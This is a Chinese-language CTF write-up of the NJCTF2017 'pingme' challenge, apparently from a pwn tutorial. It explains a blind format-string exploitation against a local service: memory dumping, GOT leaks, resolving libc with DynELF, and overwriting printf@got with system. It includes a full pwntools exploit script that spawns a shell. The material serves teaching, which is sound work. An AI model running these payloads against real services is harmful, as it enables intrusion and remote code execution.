# 6.1.2 pwn NJCTF2017 pingme - [题目复现](#题目复现) - [Blind fmt 原理及题目解析](#blind-fmt-原理及题目解析) - [Exploit](#exploit) - [参考资料](#参考资料) ## 题目复现 在 6.1.1 中我们看到了 blind ROP,这一节中则将看到 blind fmt。它们的共同点是都没有二进制文件,只提供 ip 和端口。 checksec 如下: ``` $ checksec -f pingme RELRO STACK CANARY NX PIE RPATH RUNPATHFORTIFY Fortified Fortifiable FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 pingme ``` 关闭 ASLR,然后把程序运行起来: ``` $ socat tcp4-listen:10001,reuseaddr,fork exec:./pingme & ``` ## Blind fmt 原理及题目解析 格式化字符串漏洞我们已经在 3.3.1 中详细讲过了,blind fmt 要求我们在没有二进制文件和 libc.so 的情况下进行漏洞利用,好在程序没有开启任何保护,利用很直接。 通常有两种方法可以解决这种问题,一种是利用信息泄露把程序从内存中 dump 下来,另一种是使用 pwntools 的 DynELF 模块(关于该模块的使用我们在章节 4.4 中有讲过)。 #### 确认漏洞 首先你当然不知道这是一个栈溢出还是格式化字符串,栈溢出的话输入一段长字符串,但程序是否崩溃,格式化字符串的话就输入格式字符,看输出。 ``` $ nc 127.0.0.1 10001 Ping me ABCD%7$x ABCD44434241 ``` 很明显是格式字符串,而且 ABCD 在第 7 个参数的位置,实际上当然不会这么巧,所以需要使用一个脚本去枚举。这里使用 pwntools 的 fmtstr 模块了: ```python def exec_fmt(payload): p.sendline(payload) info = p.recv() return info auto = FmtStr(exec_fmt) offset = auto.offset ``` ``` [*] Found format string offset: 7 ``` #### dump file 接下来我们就利用该漏洞把二进制文件从内存中 dump 下来: ```python def dump_memory(start_addr, end_addr): result = "" while start_addr < end_addr: p = remote('127.0.0.1', '10001') p.recvline() #print result.encode('hex') payload = "%9$s.AAA" + p32(start_addr) p.sendline(payload) data = p.recvuntil(".AAA")[:-4] if data == "": data = "\x00" log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex'))) result += data start_addr += len(data) p.close() return result start_addr = 0x8048000 end_addr = 0x8049000 code_bin = dump_memory(start_addr, end_addr) with open("code.bin", "wb") as f: f.write(code_bin) f.close() ``` 这里构造的 paylaod 和前面有点不同,它把地址放在了后面,是为了防止 printf 的 `%s` 被 `\x00` 截断: ```python payload = "%9$s.AAA" + p32(start_addr) ``` 另外 `.AAA`,是作为一个标志,我们需要的内存在 `.AAA` 的前面,最后,偏移由 7 变为 9。 在没有开启 PIE 的情况下,32 位程序从地址 `0x8048000` 开始,0x1000 的大小就足够了。在对内存 `\x00` 进行 leak 时,数据长度为零,直接给它赋值就可以了。 于是就成了有二进制文件无 libc 的格式化字符串漏洞,在 r2 中查询 printf 的 got 地址: ``` [0x08048490]> is~printf vaddr=0x08048400 paddr=0x00000400 ord=002 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.printf [0x08048490]> pd 3 @ 0x08048400 : ;-- imp.printf: : 0x08048400 ff2574990408 jmp dword [reloc.printf_116] ; 0x8049974 : 0x08048406 6808000000 push 8 ; 8 `=< 0x0804840b e9d0ffffff jmp 0x80483e0 ``` 地址为 `0x8049974`。 #### printf address & system address 接下来通过 printf@got 泄露出 printf 的地址,进行到这儿,就有两种方式要考虑了,即我们是否可以拿到 libc,如果能,就很简单了。如果不能,就需要使用 DynELF 进行无 libc 的利用。 先说第一种: ```python def get_printf_addr(): p = remote('127.0.0.1', '10001') p.recvline() payload = "%9$s.AAA" + p32(printf_got) p.sendline(payload) data = p.recvuntil(".AAA")[:4] log.info("printf address: %s" % data.encode('hex')) return data printf_addr = get_printf_addr() ``` ``` [*] printf address: 70e6e0f7 ``` 所以 printf 的地址是 `0xf7e0e670`(小端序),使用 libc-database 查询得到 libc.so,然后可以得到 printf 和 system 的相对位置。 ``` $ ./find printf 670 ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu9_i386) /usr/lib32/libc-2.26.so (id local-292a64d65098446389a47cdacdf5781255a95098) $ ./dump local-292a64d65098446389a47cdacdf5781255a95098 printf system offset_printf = 0x00051670 offset_system = 0x0003cc50 ``` 然后计算得到 printf 的地址: ```python printf_addr = 0xf7e0e670 offset_printf = 0x00051670 offset_system = 0x0003cc50 system_addr = printf_addr - (offset_printf - offset_system) ``` 第二种方法是使用 DynELF 模块来泄露函数地址: ```python def leak(addr): p = remote('127.0.0.1', '10001') p.recvline() payload = "%9$s.AAA" + p32(addr) p.sendline(payload) data = p.recvuntil(".AAA")[:-4] + "\x00" log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex'))) p.close() return data data = DynELF(leak, 0x08048490) # Entry point address system_addr = data.lookup('system', 'libc') printf_addr = data.lookup('printf', 'libc') log.info("system address: 0x%x" % system_addr) log.info("printf address: 0x%x" % printf_addr) ``` ``` [*] system address: 0xf7df9c50 [*] printf address: 0xf7e0e670 ``` DynELF 不要求我们拿到 libc.so,所以如果我们查询不到 libc.so 的版本信息,该模块就能发挥它最大的作用。 #### attack 按照格式化字符串漏洞的套路,我们通过任意写将 printf@got 指向的内存覆盖为 system 的地址,然后发送字符串 `/bin/sh`,就可以在调用 `printf("/bin/sh")` 的时候实际上调用 `system("/bin/sh")`。 终极 payload 如下,使用 `fmtstr_payload` 函数来自动构造,将: ```python payload = fmtstr_payload(7, {printf_got: system_addr}) p = remote('127.0.0.1', '10001') p.recvline() p.sendline(payload) p.recv() p.sendline('/bin/sh') p.interactive() ``` 虽说有这样的自动化函数很方便,基本的手工构造还是要懂的,看一下生成的 payload 长什么样子: ``` [DEBUG] Sent 0x3a bytes: 00000000 74 99 04 08 75 99 04 08 76 99 04 08 77 99 04 08 │t···│u···│v···│w···│ 00000010 25 36 34 63 25 37 24 68 68 6e 25 37 36 63 25 38 │%64c│%7$h│hn%7│6c%8│ 00000020 24 68 68 6e 25 36 37 63 25 39 24 68 68 6e 25 32 │$hhn│%67c│%9$h│hn%2│ 00000030 34 63 25 31 30 24 68 68 6e 0a │4c%1│0$hh│n·│ 0000003a ``` 开头是 printf@got 地址,四个字节分别位于: ``` 0x08049974 0x08049975 0x08049976 0x08049977 ``` 然后是格式字符串 `%64c%7$hhn%76c%8hhn%67c%9$hhn%24c%10$hhn`: ``` 16 + 64 = 80 = 0x50 80 + 76 = 156 = 0x9c 156 + 67 = 223 = 0xdf 233 + 24 = 247 = 0xf7 ``` 就这样将 system 的地址写入了内存。 Bingo!!! ``` $ python2 exp.py [+] Opening connection to 127.0.0.2 on port 10001: Done [*] Switching to interactive mode $ whoami firmy ``` ## Exploit 完整的 exp 如下,其他文件放在了[github](../src/writeup/6.1.2_pwn_njctf2017_pingme)相应文件夹中: ```python from pwn import * # context.log_level = 'debug' def exec_fmt(payload): p.sendline(payload) info = p.recv() return info # p = remote('127.0.0.1', '10001') # p.recvline() # auto = FmtStr(exec_fmt) # offset = auto.offset # p.close() def dump_memory(start_addr, end_addr): result = "" while start_addr < end_addr: p = remote('127.0.0.1', '10001') p.recvline() # print result.encode('hex') payload = "%9$s.AAA" + p32(start_addr) p.sendline(payload) data = p.recvuntil(".AAA")[:-4] if data == "": data = "\x00" log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex'))) result += data start_addr += len(data) p.close() return result # start_addr = 0x8048000 # end_addr = 0x8049000 # code_bin = dump_memory(start_addr, end_addr) # with open("code.bin", "wb") as f: # f.write(code_bin) # f.close() printf_got = 0x8049974 ## method 1 def get_printf_addr(): p = remote('127.0.0.1', '10001') p.recvline() payload = "%9$s.AAA" + p32(printf_got) p.sendline(payload) data = p.recvuntil(".AAA")[:4] log.info("printf address: %s" % data.encode('hex')) return data # printf_addr = get_printf_addr() printf_addr = 0xf7e0e670 offset_printf = 0x00051670 offset_system = 0x0003cc50 system_addr = printf_addr - (offset_printf - offset_system) ## method 2 def leak(addr): p = remote('127.0.0.1', '10001') p.recvline() payload = "%9$s.AAA" + p32(addr) p.sendline(payload) data = p.recvuntil(".AAA")[:-4] + "\x00" log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex'))) p.close() return data # data = DynELF(leak, 0x08048490) # Entry point address # system_addr = data.lookup('system', 'libc') # printf_addr = data.lookup('printf', 'libc') # log.info("system address: 0x%x" % system_addr) # log.info("printf address: 0x%x" % printf_addr) ## get shell payload = fmtstr_payload(7, {printf_got: system_addr}) p = remote('127.0.1.1', '10001') p.recvline() p.sendline(payload) p.recv() p.sendline('/bin/sh') p.interactive() ``` ## 参考资料 - [Linux系统下格式化字符串利用研究](https://paper.seebug.org/246/) - [33C3 CTF 2016 -- ESPR](http://bruce30262.logdown.com/posts/1255979-33c3-ctf-2016-espr)